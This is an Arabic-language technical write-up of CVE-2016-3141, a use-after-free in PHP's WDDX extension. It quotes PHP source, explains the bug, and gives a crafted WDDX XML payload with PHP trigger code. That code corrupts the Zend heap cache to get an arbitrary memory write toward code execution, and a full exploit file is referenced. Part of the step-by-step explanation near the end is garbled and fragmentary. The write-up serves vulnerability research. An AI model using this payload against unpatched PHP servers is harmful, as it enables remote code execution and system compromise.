
CVE-2016-3141
ثغرة استخدام بعد التحرير (Use-after-free) في ملف wddx.c في إضافة WDDX في PHP قبل الإصدار 5.5.33 و 5.6.x قبل 5.6.19 تسمح للمهاجمين عن بُعد بالتسبب في رفض الخدمة (تلف في الذاكرة وتعطل التطبيق) أو ربما تأثير آخر غير محدد عن طريق تشغيل استدعاء wddx_deserialize على بيانات XML تحتوي على عنصر var مصمم خصيصًا.
هذا خطأ من نوع استخدام بعد التحرير (Use After Free)، يحدث عندما يحاول wddx معالجة بيانات XML. ألقِ نظرة على هذا الكود في الدالة php_wddx_deserialize_ex. عندما يتم استدعاء wddx_deserialize($xml) مع بعض بيانات XML، سيقوم PHP باستدعاء هذه الدالة ثم تعيين بعض الدوال لمعالجة وسوم XML والبيانات.
XML_SetUserData(parser, &stack);
XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
XML_SetCharacterDataHandler(parser, php_wddx_process_data);
الدالة php_wddx_push_element تقوم بإنشاء مدخل (entry) لوسم (tag) كما ترى في هذا المقتطف. على سبيل المثال، عندما تدخل <string>Hello World</string>، وعند مواجهة الوسم الافتتاحي <string> سيتم استدعاء php\_wddx\_push\_element لإنشاء st_entry لتخزين معلومات الوسم. ألق نظرة على مقتطف الكود أدناه.
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
st_entry ent;
wddx_stack *stack = (wddx_stack *)user_data;
----SNIP----
else if (!strcmp(name, EL_STRING)) {
ent.type = ST_STRING;
SET_STACK_VARNAME;
ALLOC_ZVAL(ent.data);
INIT_PZVAL(ent.data);
Z_TYPE_P(ent.data) = IS_STRING;
Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
Z_STRLEN_P(ent.data) = 0;
wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
}
----SNIP----
}
SET_STACK_VARNAME هو إجراء (procedure) معرف أدناه. هذا الإجراء بسيط: يتحقق من stack->varname للوسم، إذا لم يكن NULL، فسيقوم باستنساخ stack->varname ثم تحريره.
#define SET_STACK_VARNAME \
if (stack->varname) { \
ent.varname = estrdup(stack->varname); \
efree(stack->varname); \
stack->varname = NULL; \
} else \
ent.varname = NULL; \
الخطأ حدث في php_wddx_pop_element. عندما يقوم XML بإغلاق وسم var، فإنه يحرر varname لهذا الوسم، ولا يزال هذا المؤشر المُحرّر مخزناً في stack->varname. على سبيل المثال، إذا قمت بإنشاء وسم var مثل <var name='UAF'></var>، فإن php_wddx_push_element سيقوم بإنشاء هيكل لتخزين هذا الوسم var، ثم عند إغلاق هذا الوسم يتم تحريره ولكن من دون تعيين stack->name إلى NULL أو تقليل stack->top، وبعد ذلك إذا قمت بإنشاء وسم آخر مثل <string> فإن الدالة SET_STACK_VARNAME ستعيد استخدام هذا المؤشر المُحرّر.
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
# ***SNIP***
} else if (!strcmp(name, EL_VAR) && stack->varname) {
efree(stack->varname);
}
# ***SNIP***
}
عندما رأيت هذا الخطأ لأول مرة، فكرت "ألا يمكنني تحويل هذا الخطأ إلى تنفيذ كود؟". أولاً، يجب أن أفهم كيف يعمل Zend Heap، انظر إلى الدالة _zend_mm_alloc_int في zend_alloc.c أدناه.
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
size_t index = ZEND_MM_BUCKET_INDEX(true_size);
size_t bitmap;
if (UNEXPECTED(true_size < size)) {
goto out_of_memory;
}
#if ZEND_MM_CACHE
if (EXPECTED(heap->cache[index] != NULL)) {
/* Get block from cache */
#if ZEND_MM_CACHE_STAT
heap->cache_stat[index].count--;
heap->cache_stat[index].hit++;
#endif
best_fit = heap->cache[index];
heap->cache[index] = best_fit->prev_free_block;
heap->cached -= true_size;
ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
HANDLE_UNBLOCK_INTERRUPTIONS();
return ZEND_MM_DATA_OF(best_fit);
}
إذا قمنا بتخصيص كتلة بحجم صغير (أقل من 256 بايت)، فإن zend_alloc سيستخدم heap->cache، وهي قائمة من الكتل الحرة الصغيرة المخزنة في قائمة مرتبطة. هذا heap->cache يشبه malloc fast_bin. إذا تمكنا بطريقة ما من الكتابة فوق مؤشر best_fit->prev_free_block بعنواننا الخاص، فعند استدعاء zend_alloc مرة أخرى سنتمكن من استخدام ذلك العنوان للكتابة في مكان ما في الذاكرة.
للقيام بذلك، سأقوم بإنشاء wddx XML التالي:
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array>
<binary>HERE</binary> # (1)
<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
<binary>REPLACE</binary> # (3)
<var name='SUCK'></var> # (4)
<boolean value='a'/>
<boolean value='true'/>
</array>
</wddxPacket>
EOF;
$binary_value = base64_encode(str_repeat("A",32));
$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);
$wddx = wddx_deserialize($xml);
foreach($wddx as $k => $v){
$k = "".str_repeat("C",6); (5)
$t = (string)$v; (6)
$g = (string)$v; (7)
}
best_fit->prev_free_block ببياناتي الخاصة.estrncpy لإنشاء كتلة جديدة (chunk_e) تشير الآن إلى chunk_b وجعل heap->cache[index] يخزن القيمة الخاصة.estrncpy($v,32) ($v = $binary_value)، المرة الأولى عند استدعاء zend_alloc مجدداً نحصل على تعطل $r12 = 0x4343434343. إذا استبدلنا هذه القيمة بعنوان آخر، فإن estrncpy سيقوم بسعادة باستدعاء memcpy(r12,v,size) وبذلك يمكننا الكتابة فوق أي مكان نريده.
يمكنك رؤية الاستغلال الكامل الخاص بي هنا peter_code_execute.php (تم اختباره على Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).
أخيراً، تمكنت من تحويل هذا الخطأ إلى تنفيذ كود بنجاح.
